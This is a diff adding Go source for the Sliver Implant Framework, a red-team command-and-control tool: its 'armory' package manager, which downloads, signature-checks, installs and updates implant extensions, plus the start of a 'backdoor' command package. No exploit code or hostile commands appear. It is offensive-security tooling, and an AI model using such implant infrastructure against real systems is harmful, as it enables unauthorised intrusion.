+		pkgCacheEntry.Sig = *sig
+	} else {
+		pkgCacheEntry.LastErr = errors.New("nil signature")
+		return
+	}
+	if armoryPkg != nil {
+		pkgCacheEntry.Pkg = *armoryPkg
+	}
+	if err == nil {
+		manifestData, err := base64.StdEncoding.DecodeString(sig.TrustedComment)
+		if err != nil {
+			pkgCacheEntry.LastErr = fmt.Errorf("failed to b64 decode trusted comment: %s", err)
+			return
+		}
+		if armoryPkg.IsAlias {
+			pkgCacheEntry.Alias, err = alias.ParseAliasManifest(manifestData)
+		} else {
+			pkgCacheEntry.Extension, err = extensions.ParseExtensionManifest(manifestData)
+		}
+		if err != nil {
+			pkgCacheEntry.LastErr = fmt.Errorf("failed to parse trusted manifest in pkg signature: %s", err)
+		}
+	}
+}
@@ -0,0 +1 @@
+package armory
@@ -0,0 +1,316 @@
+package armory
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2021  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"errors"
+	"fmt"
+	"net/url"
+	"os"
+	"path/filepath"
+
+	"github.com/AlecAivazis/survey/v2"
+	"github.com/spf13/cobra"
+
+	"github.com/bishopfox/sliver/client/command/alias"
+	"github.com/bishopfox/sliver/client/command/extensions"
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/client/constants"
+	"github.com/bishopfox/sliver/server/cryptography/minisign"
+)
+
+// ErrPackageNotFound - The package was not found
+var ErrPackageNotFound = errors.New("package not found")
+
+// ArmoryInstallCmd - The armory install command
+func ArmoryInstallCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
+	name := args[0]
+	// name := ctx.Args.String("name")
+	if name == "" {
+		con.PrintErrorf("A package or bundle name is required")
+		return
+	}
+	clientConfig := parseArmoryHTTPConfig(cmd)
+	refresh(clientConfig)
+	if name == "all" {
+		aliases, extensions := packagesInCache()
+		confirm := false
+		prompt := &survey.Confirm{
+			Message: fmt.Sprintf("Install %d aliases and %d extensions?",
+				len(aliases), len(extensions),
+			),
+		}
+		survey.AskOne(prompt, &confirm)
+		if !confirm {
+			return
+		}
+	}
+	err := installPackageByName(name, clientConfig, con)
+	if err == nil {
+		return
+	}
+	if err == ErrPackageNotFound {
+		bundles := bundlesInCache()
+		for _, bundle := range bundles {
+			if bundle.Name == name {
+				installBundle(bundle, clientConfig, con)
+				return
+			}
+		}
+	}
+	con.PrintErrorf("No package or bundle named '%s' was found", name)
+}
+
+func installBundle(bundle *ArmoryBundle, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) {
+	for _, pkgName := range bundle.Packages {
+		err := installPackageByName(pkgName, clientConfig, con)
+		if err != nil {
+			con.PrintErrorf("Failed to install '%s': %s", pkgName, err)
+		}
+	}
+}
+
+func installPackageByName(name string, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) error {
+	aliases, extensions := packagesInCache()
+	for _, alias := range aliases {
+		if alias.CommandName == name || name == "all" {
+			installAlias(alias, clientConfig, con)
+			if name != "all" {
+				return nil
+			}
+		}
+	}
+	for _, ext := range extensions {
+		if ext.CommandName == name || name == "all" {
+			installExtension(ext, clientConfig, con)
+			if name != "all" {
+				return nil
+			}
+		}
+	}
+	if name == "all" {
+		con.Printf("\n")
+		con.PrintInfof("All packages installed\n")
+		return nil
+	}
+	return ErrPackageNotFound
+}
+
+func installAlias(alias *alias.AliasManifest, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) {
+	err := installAliasPackageByName(alias.CommandName, clientConfig, con)
+	if err != nil {
+		con.PrintErrorf("Failed to install alias '%s': %s", alias.CommandName, err)
+		return
+	}
+}
+
+func installAliasPackageByName(name string, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) error {
+	var entry *pkgCacheEntry
+	pkgCache.Range(func(key, value interface{}) bool {
+		cacheEntry := value.(pkgCacheEntry)
+		if cacheEntry.Pkg.CommandName == name {
+			entry = &cacheEntry
+			return false
+		}
+		return true
+	})
+	if entry == nil {
+		return errors.New("package not found")
+	}
+	repoURL, err := url.Parse(entry.RepoURL)
+	if err != nil {
+		return err
+	}
+
+	con.PrintInfof("Downloading alias ...")
+
+	var sig *minisign.Signature
+	var tarGz []byte
+	if pkgParser, ok := pkgParsers[repoURL.Hostname()]; ok {
+		sig, tarGz, err = pkgParser(entry.ArmoryConfig, &entry.Pkg, false, clientConfig)
+	} else {
+		sig, tarGz, err = DefaultArmoryPkgParser(entry.ArmoryConfig, &entry.Pkg, false, clientConfig)
+	}
+	if err != nil {
+		return err
+	}
+
+	var publicKey minisign.PublicKey
+	publicKey.UnmarshalText([]byte(entry.Pkg.PublicKey))
+	rawSig, _ := sig.MarshalText()
+	valid := minisign.Verify(publicKey, tarGz, []byte(rawSig))
+	if !valid {
+		return errors.New("signature verification failed")
+	}
+
+	tmpFile, err := os.CreateTemp("", "sliver-armory-")
+	if err != nil {
+		return err
+	}
+	defer os.Remove(tmpFile.Name())
+	_, err = tmpFile.Write(tarGz)
+	if err != nil {
+		return err
+	}
+	tmpFile.Close()
+
+	con.Printf(console.Clearln + "\r") // Clear the line
+
+	installPath := alias.InstallFromFile(tmpFile.Name(), true, con)
+	if installPath == nil {
+		return errors.New("failed to install alias")
+	}
+
+	menuCmd := con.App.Menu(constants.ImplantMenu).Root()
+
+	_, err = alias.LoadAlias(filepath.Join(*installPath, alias.ManifestFileName), menuCmd, con)
+	if err != nil {
+		return err
+	}
+	return nil
+}
+
+func installExtension(ext *extensions.ExtensionManifest, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) {
+	deps := make(map[string]struct{})
+	resolveExtensionPackageDependencies(ext.CommandName, deps, clientConfig, con)
+	sliverMenu := con.App.Menu(constants.ImplantMenu)
+	for dep := range deps {
+		if extensions.CmdExists(dep, sliverMenu.Command) {
+			continue // Dependency is already installed
+		}
+		err := installExtensionPackageByName(dep, clientConfig, con)
+		if err != nil {
+			con.PrintErrorf("Failed to install extension dependency '%s': %s", dep, err)
+			return
+		}
+	}
+	err := installExtensionPackageByName(ext.CommandName, clientConfig, con)
+	if err != nil {
+		con.PrintErrorf("Failed to install extension '%s': %s", ext.CommandName, err)
+		return
+	}
+}
+
+const maxDepDepth = 10 // Arbitrary recursive limit for dependencies
+
+func resolveExtensionPackageDependencies(name string, deps map[string]struct{}, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) {
+	var entry *pkgCacheEntry
+	pkgCache.Range(func(key, value interface{}) bool {
+		cacheEntry := value.(pkgCacheEntry)
+		if cacheEntry.Pkg.CommandName == name {
+			entry = &cacheEntry
+			return false
+		}
+		return true
+	})
+	if entry == nil {
+		return
+	}
+
+	if entry.Extension.DependsOn == "" {
+		return // Avoid adding empty dependency
+	}
+
+	if entry.Extension.DependsOn == name {
+		return // Avoid infinite loop of something that depends on itself
+	}
+	// We also need to look out for circular dependencies, so if we've already
+	// seen this dependency, we stop resolving
+	if _, ok := deps[entry.Extension.DependsOn]; ok {
+		return // Already resolved
+	}
+	if maxDepDepth < len(deps) {
+		return
+	}
+	deps[entry.Extension.DependsOn] = struct{}{}
+	resolveExtensionPackageDependencies(entry.Extension.DependsOn, deps, clientConfig, con)
+}
+
+func installExtensionPackageByName(name string, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) error {
+	var entry *pkgCacheEntry
+	pkgCache.Range(func(key, value interface{}) bool {
+		cacheEntry := value.(pkgCacheEntry)
+		if cacheEntry.Pkg.CommandName == name {
+			entry = &cacheEntry
+			return false
+		}
+		return true
+	})
+	if entry == nil {
+		return errors.New("package not found")
+	}
+	repoURL, err := url.Parse(entry.RepoURL)
+	if err != nil {
+		return err
+	}
+
+	con.PrintInfof("Downloading extension ...")
+
+	var sig *minisign.Signature
+	var tarGz []byte
+	if pkgParser, ok := pkgParsers[repoURL.Hostname()]; ok {
+		sig, tarGz, err = pkgParser(entry.ArmoryConfig, &entry.Pkg, false, clientConfig)
+	} else {
+		sig, tarGz, err = DefaultArmoryPkgParser(entry.ArmoryConfig, &entry.Pkg, false, clientConfig)
+	}
+	if err != nil {
+		return err
+	}
+
+	var publicKey minisign.PublicKey
+	publicKey.UnmarshalText([]byte(entry.Pkg.PublicKey))
+	rawSig, _ := sig.MarshalText()
+	valid := minisign.Verify(publicKey, tarGz, []byte(rawSig))
+	if !valid {
+		return errors.New("signature verification failed")
+	}
+
+	tmpFile, err := os.CreateTemp("", "sliver-armory-")
+	if err != nil {
+		return err
+	}
+	defer os.Remove(tmpFile.Name())
+	_, err = tmpFile.Write(tarGz)
+	if err != nil {
+		return err
+	}
+	err = tmpFile.Sync()
+	if err != nil {
+		return err
+	}
+
+	con.Printf(console.Clearln + "\r") // Clear download message
+
+	installPath := extensions.InstallFromFilePath(tmpFile.Name(), true, con)
+	if installPath == nil {
+		return errors.New("failed to install extension")
+	}
+	extCmd, err := extensions.LoadExtensionManifest(filepath.Join(*installPath, extensions.ManifestFileName))
+	if err != nil {
+		return err
+	}
+
+	sliverMenu := con.App.Menu(constants.ImplantMenu)
+	//
+	// if extensions.CmdExists(extCmd.Name, sliverMenu.Command) {
+	// 	con.App.Commands().Remove(extCmd.Name)
+	// }
+	extensions.ExtensionRegisterCommand(extCmd, sliverMenu.Command, con)
+	return nil
+}
@@ -0,0 +1,444 @@
+package armory
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2021  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"crypto/tls"
+	"encoding/base64"
+	"encoding/json"
+	"errors"
+	"fmt"
+	"io"
+	"net"
+	"net/http"
+	"net/url"
+	"path"
+	"strings"
+	"time"
+
+	"github.com/bishopfox/sliver/client/assets"
+	"github.com/bishopfox/sliver/server/cryptography/minisign"
+)
+
+// ArmoryIndexParser - Generic interface to fetch armory indexes
+type ArmoryIndexParser func(*assets.ArmoryConfig, ArmoryHTTPConfig) (*ArmoryIndex, error)
+
+// ArmoryPackageParser - Generic interface to fetch armory package manifests
+type ArmoryPackageParser func(*assets.ArmoryConfig, *ArmoryPackage, bool, ArmoryHTTPConfig) (*minisign.Signature, []byte, error)
+
+var (
+	indexParsers = map[string]ArmoryIndexParser{
+		"api.github.com": GithubAPIArmoryIndexParser,
+	}
+	pkgParsers = map[string]ArmoryPackageParser{
+		"api.github.com": GithubAPIArmoryPackageParser,
+		"github.com":     GithubArmoryPackageParser,
+	}
+)
+
+const (
+	armoryIndexFileName    = "armory.json"
+	armoryIndexSigFileName = "armory.minisig"
+)
+
+type armoryIndexResponse struct {
+	Minisig     string `json:"minisig"`      // Minisig (Base64)
+	ArmoryIndex string `json:"armory_index"` // Index JSON (Base64)
+}
+
+type armoryPkgResponse struct {
+	Minisig  string `json:"minisig"`    // Minisig (Base64)
+	TarGzURL string `json:"tar_gz_url"` // Raw tar.gz url
+}
+
+//
+// Default Parsers for Self-Hosted Armories
+//
+
+// DefaultArmoryParser - Parse the armory index directly from the url
+func DefaultArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig ArmoryHTTPConfig) (*ArmoryIndex, error) {
+	var publicKey minisign.PublicKey
+	err := publicKey.UnmarshalText([]byte(armoryConfig.PublicKey))
+	if err != nil {
+		return nil, err
+	}
+
+	resp, body, _ := httpRequest(clientConfig, armoryConfig.RepoURL, armoryConfig, http.Header{})
+	if resp.StatusCode != http.StatusOK {
+		return nil, errors.New("api returned non-200 status code")
+	}
+
+	indexResp := &armoryIndexResponse{}
+	err = json.Unmarshal(body, indexResp)
+	if err != nil {
+		return nil, err
+	}
+	armoryIndexData, err := base64.StdEncoding.DecodeString(indexResp.ArmoryIndex)
+	if err != nil {
+		return nil, err
+	}
+	armoryIndexSigData, err := base64.StdEncoding.DecodeString(indexResp.Minisig)
+	if err != nil {
+		return nil, err
+	}
+
+	// Verify index is signed by trusted key
+	valid := minisign.Verify(publicKey, armoryIndexData, armoryIndexSigData)
+	if !valid {
+		return nil, errors.New("index has invalid signature")
+	}
+
+	armoryIndex := &ArmoryIndex{
+		ArmoryConfig: armoryConfig,
+	}
+	err = json.Unmarshal(armoryIndexData, armoryIndex)
+	if err != nil {
+		return nil, err
+	}
+	return armoryIndex, nil
+}
+
+// DefaultArmoryPkgParser - Parse the armory package manifest directly from the url
+func DefaultArmoryPkgParser(armoryConfig *assets.ArmoryConfig, armoryPkg *ArmoryPackage, sigOnly bool, clientConfig ArmoryHTTPConfig) (*minisign.Signature, []byte, error) {
+	var publicKey minisign.PublicKey
+	err := publicKey.UnmarshalText([]byte(armoryPkg.PublicKey))
+	if err != nil {
+		return nil, nil, err
+	}
+
+	resp, body, err := httpRequest(clientConfig, armoryConfig.RepoURL, armoryConfig, http.Header{})
+	if err != nil {
+		return nil, nil, err
+	}
+	if resp.StatusCode != http.StatusOK {
+		return nil, nil, errors.New("api returned non-200 status code")
+	}
+	pkgResp := &armoryPkgResponse{}
+	err = json.Unmarshal(body, pkgResp)
+	if err != nil {
+		return nil, nil, err
+	}
+	sig, err := parsePkgMinsig([]byte(pkgResp.Minisig))
+	if err != nil {
+		return nil, nil, err
+	}
+	var tarGz []byte
+	if !sigOnly {
+		tarGzURL, err := url.Parse(armoryPkg.RepoURL)
+		if err != nil {
+			return nil, nil, err
+		}
+		if tarGzURL.Scheme != "https" && tarGzURL.Scheme != "http" {
+			return nil, nil, errors.New("invalid url scheme")
+		}
+		tarGz, err = downloadRequest(clientConfig, tarGzURL.String(), armoryConfig)
+		if err != nil {
+			return nil, nil, err
+		}
+	}
+	return sig, tarGz, nil
+}
+
+//
+// GitHub API Parsers
+//
+
+type GithubAsset struct {
+	ID   int    `json:"id"`
+	Name string `json:"name"`
+	URL  string `json:"url"`
+	Size int    `json:"size"`
+
+	BrowserDownloadURL string `json:"browser_download_url"`
+}
+
+type GithubRelease struct {
+	ID          int           `json:"id"`
+	Name        string        `json:"name"`
+	URL         string        `json:"url"`
+	HTMLURL     string        `json:"html_url"`
+	TagName     string        `json:"tag_name"`
+	Body        string        `json:"body"`
+	Prerelease  bool          `json:"prerelease"`
+	TarballURL  string        `json:"tarball_url"`
+	ZipballURL  string        `json:"zipball_url"`
+	CreatedAt   string        `json:"created_at"`
+	PublishedAt string        `json:"published_at"`
+	Assets      []GithubAsset `json:"assets"`
+}
+
+// GithubAPIArmoryIndexParser - Parse the armory index from a GitHub release
+func GithubAPIArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig ArmoryHTTPConfig) (*ArmoryIndex, error) {
+	var publicKey minisign.PublicKey
+	err := publicKey.UnmarshalText([]byte(armoryConfig.PublicKey))
+	if err != nil {
+		return nil, err
+	}
+
+	resp, body, err := httpRequest(clientConfig, armoryConfig.RepoURL, armoryConfig, http.Header{})
+	if err != nil {
+		return nil, err
+	}
+	if resp.StatusCode != http.StatusOK {
+		if resp.StatusCode == http.StatusForbidden {
+			return nil, errors.New("you hit the github api rate limit (60 req/hr), try later")
+		}
+		return nil, fmt.Errorf("api returned non-200 status code: %d", resp.StatusCode)
+	}
+
+	releases := []GithubRelease{}
+	err = json.Unmarshal(body, &releases)
+	if err != nil {
+		return nil, err
+	}
+	if len(releases) < 1 {
+		return nil, errors.New("no releases found")
+	}
+	release := releases[0] // Latest only right now
+
+	var armoryIndexData []byte
+	var sigData []byte
+	for _, asset := range release.Assets {
+		if asset.Name == armoryIndexFileName {
+			armoryIndexData, err = downloadRequest(clientConfig, asset.URL, armoryConfig)
+			if err != nil {
+				return nil, err
+			}
+		}
+		if asset.Name == armoryIndexSigFileName {
+			sigData, err = downloadRequest(clientConfig, asset.URL, armoryConfig)
+			if err != nil {
+				return nil, err
+			}
+		}
+	}
+
+	// Verify index is signed by trusted key
+	valid := minisign.Verify(publicKey, armoryIndexData, sigData)
+	if !valid {
+		return nil, errors.New("invalid signature")
+	}
+
+	armoryIndex := &ArmoryIndex{
+		ArmoryConfig: armoryConfig,
+	}
+	err = json.Unmarshal(armoryIndexData, armoryIndex)
+	if err != nil {
+		return nil, err
+	}
+	return armoryIndex, nil
+}
+
+// GithubAPIArmoryPackageParser - Retrieve the minisig and tar.gz for an armory package from a GitHub release
+func GithubAPIArmoryPackageParser(armoryConfig *assets.ArmoryConfig, armoryPkg *ArmoryPackage, sigOnly bool, clientConfig ArmoryHTTPConfig) (*minisign.Signature, []byte, error) {
+	var publicKey minisign.PublicKey
+	err := publicKey.UnmarshalText([]byte(armoryPkg.PublicKey))
+	if err != nil {
+		return nil, nil, err
+	}
+
+	resp, body, err := httpRequest(clientConfig, armoryPkg.RepoURL, armoryConfig, http.Header{})
+	if err != nil {
+		return nil, nil, err
+	}
+	if resp.StatusCode != http.StatusOK {
+		if resp.StatusCode == http.StatusForbidden {
+			return nil, nil, errors.New("you hit the github api rate limit (60 req/hr), try later")
+		}
+		return nil, nil, fmt.Errorf("api returned non-200 status code: %d", resp.StatusCode)
+	}
+
+	releases := []GithubRelease{}
+	err = json.Unmarshal(body, &releases)
+	if err != nil {
+		return nil, nil, err
+	}
+	release := releases[0] // Latest only right now
+
+	var sig *minisign.Signature
+	var tarGz []byte
+	for _, asset := range release.Assets {
+		if asset.Name == fmt.Sprintf("%s.minisig", armoryPkg.CommandName) {
+			body, err := downloadRequest(clientConfig, asset.URL, armoryConfig)
+			if err != nil {
+				break
+			}
+			sig, err = parsePkgMinsig(body)
+			if err != nil {
+				break
+			}
+		}
+		if asset.Name == fmt.Sprintf("%s.tar.gz", armoryPkg.CommandName) && !sigOnly {
+			tarGz, err = downloadRequest(clientConfig, asset.URL, armoryConfig)
+			if err != nil {
+				break
+			}
+		}
+	}
+	return sig, tarGz, err
+}
+
+//
+// GitHub Parsers
+//
+
+// GithubArmoryPackageParser - Uses github.com instead of api.github.com to download packages
+func GithubArmoryPackageParser(_ *assets.ArmoryConfig, armoryPkg *ArmoryPackage, sigOnly bool, clientConfig ArmoryHTTPConfig) (*minisign.Signature, []byte, error) {
+	latestTag, err := githubLatestTagParser(armoryPkg, clientConfig)
+	if err != nil {
+		return nil, nil, err
+	}
+
+	sigURL, err := url.Parse(armoryPkg.RepoURL)
+	if err != nil {
+		return nil, nil, fmt.Errorf("failed to parse armory pkg url '%s': %s", armoryPkg.RepoURL, err)
+	}
+	sigURL.Path = path.Join(sigURL.Path, "releases", "download", latestTag, fmt.Sprintf("%s.minisig", armoryPkg.CommandName))
+
+	// Setup dummy auth here as the non-api endpoints don't support the Authorization header
+	noAuth := &assets.ArmoryConfig{
+		Authorization: "",
+	}
+	body, err := downloadRequest(clientConfig, sigURL.String(), noAuth)
+	if err != nil {
+		return nil, nil, err
+	}
+
+	sig, err := parsePkgMinsig(body)
+	if err != nil {
+		return nil, nil, fmt.Errorf("failed to parse pkg sig '%s': %s", armoryPkg.RepoURL, err)
+	}
+
+	var tarGz []byte
+	if !sigOnly {
+		tarGzURL, err := url.Parse(armoryPkg.RepoURL)
+		if err != nil {
+			return nil, nil, fmt.Errorf("failed to parse armory pkg url '%s': %s", armoryPkg.RepoURL, err)
+		}
+		tarGzURL.Path = path.Join(tarGzURL.Path, "releases", "download", latestTag, fmt.Sprintf("%s.tar.gz", armoryPkg.CommandName))
+		tarGz, err = downloadRequest(clientConfig, tarGzURL.String(), noAuth)
+		if err != nil {
+			return nil, nil, err
+		}
+	}
+
+	return sig, tarGz, nil
+}
+
+// We need to intercept the 302 redirect to determine the latest version tag
+func githubLatestTagParser(armoryPkg *ArmoryPackage, clientConfig ArmoryHTTPConfig) (string, error) {
+	client := httpClient(clientConfig)
+	client.CheckRedirect = func(req *http.Request, via []*http.Request) error {
+		return http.ErrUseLastResponse
+	}
+	latestURL, err := url.Parse(armoryPkg.RepoURL)
+	if err != nil {
+		return "", fmt.Errorf("failed to parse armory pkg url '%s': %s", armoryPkg.RepoURL, err)
+	}
+	latestURL.Path = path.Join(latestURL.Path, "releases", "latest")
+	latestRedirect, err := client.Get(latestURL.String())
+	if err != nil {
+		return "", fmt.Errorf("http get failed armory pkg url '%s': %s", armoryPkg.RepoURL, err)
+	}
+	defer latestRedirect.Body.Close()
+	if latestRedirect.StatusCode != http.StatusFound {
+		return "", fmt.Errorf("unexpected response status (wanted 302) '%s': %s", armoryPkg.RepoURL, latestRedirect.Status)
+	}
+	if latestRedirect.Header.Get("Location") == "" {
+		return "", fmt.Errorf("no location header in response '%s'", armoryPkg.RepoURL)
+	}
+	latestLocationURL, err := url.Parse(latestRedirect.Header.Get("Location"))
+	if err != nil {
+		return "", fmt.Errorf("failed to parse location header '%s'->'%s': %s",
+			armoryPkg.RepoURL, latestRedirect.Header.Get("Location"), err)
+	}
+	pathSegments := strings.Split(latestLocationURL.Path, "/")
+	for index, segment := range pathSegments {
+		if segment == "tag" && index+1 < len(pathSegments) {
+			return pathSegments[index+1], nil
+		}
+	}
+	return "", errors.New("tag not found in location header")
+}
+
+func parsePkgMinsig(data []byte) (*minisign.Signature, error) {
+	var sig minisign.Signature
+	err := sig.UnmarshalText(data)
+	if err != nil {
+		return nil, err
+	}
+	if len(sig.TrustedComment) < 1 {
+		return nil, errors.New("missing trusted comment")
+	}
+	return &sig, nil
+}
+
+func httpClient(config ArmoryHTTPConfig) *http.Client {
+	return &http.Client{
+		Timeout: config.Timeout,
+		Transport: &http.Transport{
+			Dial: (&net.Dialer{
+				Timeout: config.Timeout,
+			}).Dial,
+			IdleConnTimeout:     time.Millisecond,
+			Proxy:               http.ProxyURL(config.ProxyURL),
+			TLSHandshakeTimeout: config.Timeout,
+			TLSClientConfig: &tls.Config{
+				InsecureSkipVerify: config.DisableTLSValidation,
+			},
+		},
+	}
+}
+
+func httpRequest(clientConfig ArmoryHTTPConfig, reqURL string, armoryConfig *assets.ArmoryConfig, extraHeaders http.Header) (*http.Response, []byte, error) {
+	client := httpClient(clientConfig)
+	req, err := http.NewRequest(http.MethodGet, reqURL, http.NoBody)
+	if err != nil {
+		return nil, nil, err
+	}
+
+	if len(extraHeaders) > 0 {
+		for key := range extraHeaders {
+			req.Header.Add(key, strings.Join(extraHeaders[key], ","))
+		}
+	}
+	if armoryConfig.Authorization != "" {
+		req.Header.Set("Authorization", armoryConfig.Authorization)
+	}
+	resp, err := client.Do(req)
+	if err != nil {
+		return nil, nil, err
+	}
+	defer resp.Body.Close()
+
+	body, err := io.ReadAll(resp.Body)
+	return resp, body, err
+}
+
+func downloadRequest(clientConfig ArmoryHTTPConfig, reqURL string, armoryConfig *assets.ArmoryConfig) ([]byte, error) {
+	downloadHdr := http.Header{
+		"Accept": {"application/octet-stream"},
+	}
+	resp, body, err := httpRequest(clientConfig, reqURL, armoryConfig, downloadHdr)
+	if resp.StatusCode != http.StatusOK && resp.StatusCode != http.StatusFound {
+		return nil, fmt.Errorf("error downloading asset: http %d", resp.StatusCode)
+	}
+
+	return body, err
+}
@@ -0,0 +1,68 @@
+package armory
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2021  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"regexp"
+
+	"github.com/spf13/cobra"
+
+	"github.com/bishopfox/sliver/client/command/alias"
+	"github.com/bishopfox/sliver/client/command/extensions"
+	"github.com/bishopfox/sliver/client/console"
+)
+
+// ArmorySearchCmd - Search for packages by name
+func ArmorySearchCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
+	con.PrintInfof("Refreshing package cache ... ")
+	clientConfig := parseArmoryHTTPConfig(cmd)
+	refresh(clientConfig)
+	con.Printf(console.Clearln + "\r")
+
+	rawNameExpr := args[0]
+	// rawNameExpr := ctx.Args.String("name")
+	if rawNameExpr == "" {
+		con.PrintErrorf("Please specify a search term!\n")
+		return
+	}
+	nameExpr, err := regexp.Compile(rawNameExpr)
+	if err != nil {
+		con.PrintErrorf("Invalid regular expression: %s\n", err)
+		return
+	}
+
+	aliases, exts := packagesInCache()
+	matchedAliases := []*alias.AliasManifest{}
+	for _, a := range aliases {
+		if nameExpr.MatchString(a.CommandName) {
+			matchedAliases = append(matchedAliases, a)
+		}
+	}
+	matchedExts := []*extensions.ExtensionManifest{}
+	for _, ext := range exts {
+		if nameExpr.MatchString(ext.CommandName) {
+			matchedExts = append(matchedExts, ext)
+		}
+	}
+	if len(matchedAliases) == 0 && len(matchedExts) == 0 {
+		con.PrintInfof("No packages found matching '%s'\n", rawNameExpr)
+		return
+	}
+	PrintArmoryPackages(matchedAliases, matchedExts, con)
+}
@@ -0,0 +1,113 @@
+package armory
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2021  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"os"
+	"strings"
+
+	"github.com/spf13/cobra"
+
+	"github.com/bishopfox/sliver/client/assets"
+	"github.com/bishopfox/sliver/client/command/alias"
+	"github.com/bishopfox/sliver/client/command/extensions"
+	"github.com/bishopfox/sliver/client/console"
+)
+
+// ArmoryUpdateCmd - Update all installed extensions/aliases
+func ArmoryUpdateCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
+	con.PrintInfof("Refreshing package cache ... ")
+	clientConfig := parseArmoryHTTPConfig(cmd)
+	refresh(clientConfig)
+	con.Printf(console.Clearln + "\r")
+
+	// Aliases
+	aliasUpdates := checkForAliasUpdates(clientConfig, con)
+	if 0 < len(aliasUpdates) {
+		con.PrintInfof("%d alias(es) out of date: %s\n", len(aliasUpdates), strings.Join(aliasUpdates, ", "))
+		for _, aliasName := range aliasUpdates {
+			err := installAliasPackageByName(aliasName, clientConfig, con)
+			if err != nil {
+				con.PrintErrorf("Failed to update %s: %s\n", aliasName, err)
+			}
+		}
+	} else {
+		con.PrintInfof("All aliases up to date!\n")
+	}
+
+	// Extensions
+	extUpdates := checkForExtensionUpdates(clientConfig, con)
+	if 0 < len(extUpdates) {
+		con.PrintInfof("%d extension(s) out of date: %s\n", len(extUpdates), strings.Join(extUpdates, ", "))
+		for _, extName := range extUpdates {
+			err := installExtensionPackageByName(extName, clientConfig, con)
+			if err != nil {
+				con.PrintErrorf("Failed to update %s: %s\n", extName, err)
+			}
+		}
+	} else {
+		con.PrintInfof("All extensions up to date!\n")
+	}
+}
+
+func checkForAliasUpdates(clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) []string {
+	cachedAliases, _ := packagesInCache()
+	results := []string{}
+	for _, aliasManifestPath := range assets.GetInstalledAliasManifests() {
+		data, err := os.ReadFile(aliasManifestPath)
+		if err != nil {
+			continue
+		}
+		localManifest, err := alias.ParseAliasManifest(data)
+		if err != nil {
+			continue
+		}
+		for _, latestAlias := range cachedAliases {
+			// Right now we don't try to enforce any kind of versioning, it is assumed if the version from
+			// the armory differs at all from the local version, the extension is out of date.
+			if latestAlias.CommandName == localManifest.CommandName && latestAlias.Version != localManifest.Version {
+				results = append(results, localManifest.CommandName)
+			}
+		}
+	}
+	return results
+}
+
+func checkForExtensionUpdates(clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) []string {
+	_, cachedExtensions := packagesInCache()
+	results := []string{}
+	for _, extManifestPath := range assets.GetInstalledExtensionManifests() {
+		data, err := os.ReadFile(extManifestPath)
+		if err != nil {
+			continue
+		}
+		localManifest, err := extensions.ParseExtensionManifest(data)
+		if err != nil {
+			continue
+		}
+		for _, latestExt := range cachedExtensions {
+			// Right now we don't try to enforce any kind of versioning, it is assumed if the version from
+			// the armory differs at all from the local version, the extension is out of date.
+			if latestExt.CommandName == localManifest.CommandName && latestExt.Version != localManifest.Version {
+				results = append(results, localManifest.CommandName)
+			}
+		}
+	}
+	return results
+}
@@ -0,0 +1,4 @@
+Backdoor
+========
+
+Implements command related to `backdoor`
@@ -0,0 +1,69 @@
+package backdoor
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2019  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
